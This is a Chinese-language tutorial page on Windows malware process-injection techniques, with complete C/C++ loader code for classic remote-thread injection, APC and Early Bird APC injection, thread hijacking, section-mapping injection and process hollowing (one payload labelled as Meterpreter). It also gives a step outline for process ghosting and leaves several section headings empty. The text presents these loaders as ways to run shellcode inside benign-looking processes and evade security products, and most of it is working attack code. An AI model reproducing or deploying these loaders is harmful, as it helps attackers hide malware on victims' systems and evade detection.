Skip to main content

代码注入

代码注入是一项恶意软件的常见技术,将恶意代码,如 shellcode,乃至 PE 文件,输入到目标进程,实现提高稳定性以及寄居在看起来良性的进程之中以规避检测。

代码注入的方法有很多,有着各自的优缺点,以及所需的 API 组合,我们接下来一起看看。


经典进程注入

首先我们要说的是经典的进程注入。步骤有以下这些:

根据我们需要,通过 PID 或者进程名来指定要注入的进程,我们需要用到 CreateToolhelp32Snapshot 函数创建进程列表的快照。

HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);

配合 Process32First 逐个进程枚举,以找到进程名匹配的并返回 PID。

BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
);

通过 OpenProcess 获得指定进程的句柄,用 VirtualAllocEx 为远程进程分配空间。

HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

接着,使用 WriteProcessMemory 为分配的空间写入 shellcode。

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

之后,使用 CreateRemoteThread 函数创建远程的线程,并释放对进程的句柄。

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
BOOL CloseHandle(
  [in] HANDLE hObject
);

样板代码如下:

#include "stdafx.h"
#include "Windows.h"

int main(int argc, char *argv[])
{
	unsigned char shellcode[] =
		"\x48\x31\xc9\......<SNIP>..."
	HANDLE processHandle;
	HANDLE remoteThread;
	PVOID remoteBuffer;
	printf("Injecting to PID: %i", atoi(argv[1]));
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
	remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
	CloseHandle(processHandle);
    return 0;
}



APC 队列注入

异步过程调用 (APC) 是 Windows 操作系统提供的一种机制,允许程序异步执行任务,从而促进程序内的并发操作。 它们在特定线程的上下文中作为内核模式例程执行,从而实现任务执行与主程序流的分离。这种机制对于需要执行后台任务同时继续其他操作的程序特别有用。

进程中的每个线程都有自己的 APC 队列,其中可以存储 APC,等待执行。应用程序可以利用 QueueUserAPC 函数将 APC 排队到特定线程,需要将 APC 函数的地址作为参数传递。该函数允许调用者指定 APC 应该排队的线程。

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);

然而,并非所有线程都能够立即执行排队的 APC。 只有处于可警报状态(一种特殊的等待状态) 的线程才能处理排队的 APC 函数。当线程进入可警报状态时,它会被添加到可警报线程队列中,使其有资格运行 APC。

APC 注入是一种利用此机制的进程注入技术,它涉及对 APC 进行排队,以便在另一个线程的上下文中异步执行载荷。为了实现这一点,注入的 shellcode 的地址被传递给 QueueUserAPC 函数,目的是当线程进入可警报状态时执行它,例如当它处于睡眠模式或等待事件时(如使用 SleepEx)。

使用此注入技术的限制之一是攻击者无法直接强制目标线程立即执行注入的代码。APC 注入的成功取决于目标线程进入可警报状态,这可能需要满足特定条件或在受害者系统上执行操作。尽管存在这种限制,APC 注入仍然是在另一个进程的上下文中执行恶意代码的有效技术。

知道相关的背景知识后,我们来看一下 APC 注入所需的步骤。

  1. 给定进程名,返回第一个找到的进程的 PID,使用的是 CreateToolhelp32Snapshot 以及 Process32First 函数。
  2. 使用 OpenProcess 根据 PID 获得目标进程的句柄,调用 VirtualAllocEx 为其分配写入 shellcode 的内存空间。
  3. 让 APC 函数指向分配的空间(之后写入shellcode),使用 WriteProcessMemory 向分配的空间写入 shellcode。
  4. 使用 Thread32First 逐个枚举进程里的线程,对于每个线程,使用 OpenThread 获得句柄并调用 QueueUserAPC 将 APC 排队到线程中。
  5. 当目标进程中的线程被调度时,我们的 shellcode 就会被执行
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>

int main()
{
	unsigned char buf[] = "\x48\x31\xc9\......<SNIP>..."
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
	HANDLE victimProcess = NULL;
	PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
	THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
	std::vector<DWORD> threadIds;
	SIZE_T shellSize = sizeof(buf);
	HANDLE threadHandle = NULL;

	if (Process32First(snapshot, &processEntry)) {
		while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
			Process32Next(snapshot, &processEntry);
		}
	}
	
	victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
	LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
	WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);

	if (Thread32First(snapshot, &threadEntry)) {
		do {
			if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
				threadIds.push_back(threadEntry.th32ThreadID);
			}
		} while (Thread32Next(snapshot, &threadEntry));
	}
	
	for (DWORD threadId : threadIds) {
		threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
		QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
		Sleep(1000 * 2);
	}
	
	return 0;
}



早鸟 APC 队列注入

APC 进程注入需要挂起可警报线程才能成功执行 shellcode。但是,很难遇到处于这些状态的线程,尤其是在正常用户权限下运行的线程。解决方案的话,是使用 CreateProcess 创建一个挂起的进程,并使用其挂起线程的句柄。挂起的线程满足 APC 进程注入中使用的标准。这种方法被称为早鸟 APC 队列注入。与常规 APC 队列注入技术相比,该技术的主要优点之一是,在早鸟技术中,恶意行为发生在进程初始化阶段的早期,降低了被安全产品检测的可能性。

早鸟 APC 队列注入的步骤如下:

  1. 创建一个挂起的进程,通过调用 CreateProcessA 函数并指定进程的状态为 CREATE_SUSPENDED
  2. 使用 VirtualAllocEx 为该进程分配空间
  3. 使 APC 例程指向分配的内存
  4. 通过调用 WriteProcessMemory 函数将 shellcode 写入分配的内存中
  5. 调用 QueueUserAPC 函数将 APC 排队到主线程
  6. 调用 ResumeThread 继续线程的运行,shellcode 得以执行
#include "pch.h"
#include <Windows.h>

int main()
{
	unsigned char buf[] = "\x48\x31\xc9\......<SNIP>..."
	SIZE_T shellSize = sizeof(buf);
	STARTUPINFOA si = {0};
	PROCESS_INFORMATION pi = {0};

	CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
	HANDLE victimProcess = pi.hProcess;
	HANDLE threadHandle = pi.hThread;
	
	LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
	
	WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
	QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);	
	ResumeThread(threadHandle);

	return 0;
}



线程劫持

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>

int main()
{
	unsigned char shellcode[] = "\x48\x31\xc9\......<SNIP>..."

	HANDLE targetProcessHandle;
	PVOID remoteBuffer;
	HANDLE threadHijacked = NULL;
	HANDLE snapshot;
	THREADENTRY32 threadEntry;
	CONTEXT context;
	
	DWORD targetPID = 15048;
	context.ContextFlags = CONTEXT_FULL;
	threadEntry.dwSize = sizeof(THREADENTRY32);
	
	targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
	remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
	
	snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
	Thread32First(snapshot, &threadEntry);

	while (Thread32Next(snapshot, &threadEntry))
	{
		if (threadEntry.th32OwnerProcessID == targetPID)
		{
			threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
			break;
		}
	}
	
	SuspendThread(threadHijacked);
	
	GetThreadContext(threadHijacked, &context);
	context.Rip = (DWORD_PTR)remoteBuffer;
	SetThreadContext(threadHijacked, &context);
	
	ResumeThread(threadHijacked);
}


NtCreateSection 与 NtMapViewOfSection 代码注入

#include <iostream>
#include <Windows.h>
#pragma comment(lib, "ntdll")

typedef struct _LSA_UNICODE_STRING { USHORT Length;	USHORT MaximumLength; PWSTR  Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {	ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor;	PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID;
using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL); 
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle,	HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using myRtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID);

int main()
{
	unsigned char buf[] = "\x48\x31\xc9\......<SNIP>..."
	
	myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
	myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
	myRtlCreateUserThread fRtlCreateUserThread = (myRtlCreateUserThread)(GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread"));
	SIZE_T size = 4096;
	LARGE_INTEGER sectionSize = { size };
	HANDLE sectionHandle = NULL;
	PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
	
	// create a memory section
	fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
	
	// create a view of the memory section in the local process
	fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);

	// create a view of the memory section in the target process
	HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, 1480);
	fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);

	// copy shellcode to the local view, which will get reflected in the target process's mapped view
	memcpy(localSectionAddress, buf, sizeof(buf));
	
	HANDLE targetThreadHandle = NULL;
	fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);

	return 0;
}



进程注空


#include "pch.h"
#include <iostream>
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll")

int main()
{
	//x86 meterpreter
	unsigned char shellcode[] = "\xfc\xe8\x82\x00\x00\<...SNIP...>x00\30"

	STARTUPINFOA si;
	si = {};
	PROCESS_INFORMATION pi = {};
	PROCESS_BASIC_INFORMATION pbi = {};
	DWORD returnLength = 0;
	CreateProcessA(0, (LPSTR)"c:\\windows\\system32\\notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);

	// get target image PEB address and pointer to image base
	NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
	DWORD pebOffset = (DWORD)pbi.PebBaseAddress + 8;

	// get target process image base address
	LPVOID imageBase = 0;
	ReadProcessMemory(pi.hProcess, (LPCVOID)pebOffset, &imageBase, 4, NULL);
	
	// read target process image headers
	BYTE headersBuffer[4096] = {};
	ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL);

	// get AddressOfEntryPoint
	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew);
	LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD)imageBase);

	// write shellcode to image entry point and execute it
	WriteProcessMemory(pi.hProcess, codeEntry, shellcode, sizeof(shellcode), NULL);
	ResumeThread(pi.hThread);

	return 0;
}



鬼影进程

流程
  1. 创建一个新文件
  2. 通过使用NtSetInformationFile 函数将文件设置为删除中的状态 Put the file into a delete-pending state using NtSetInformationFile(FileDispositionInformation). Note: Attempting to use FILE_DELETE_ON_CLOSE instead will not delete the file.
  3. 将载荷写入文件。内容是非持久性的因为文件已经是删除中的状态,而且外部无法获得对该文件的句柄。Write the payload executable to the file. The content isn’t persisted because the file is already delete-pending. The delete-pending state also blocks external file-open attempts.
  4. 为文件创建映像节Create an image section for the file.
  5. 关闭句柄,删除文件Close the delete-pending handle, deleting the file.
  6. 使用映像节来创建进程Create a process using the image section.
  7. 赋予进程参数和环境变量Assign process arguments and environment variables.
  8. 创建进程在进程下进行Create a thread to execute in the process.


双重进程


赫尔德平进程


进程重映像

https://www.elastic.co/cn/blog/process-ghosting-a-new-executable-image-tampering-attack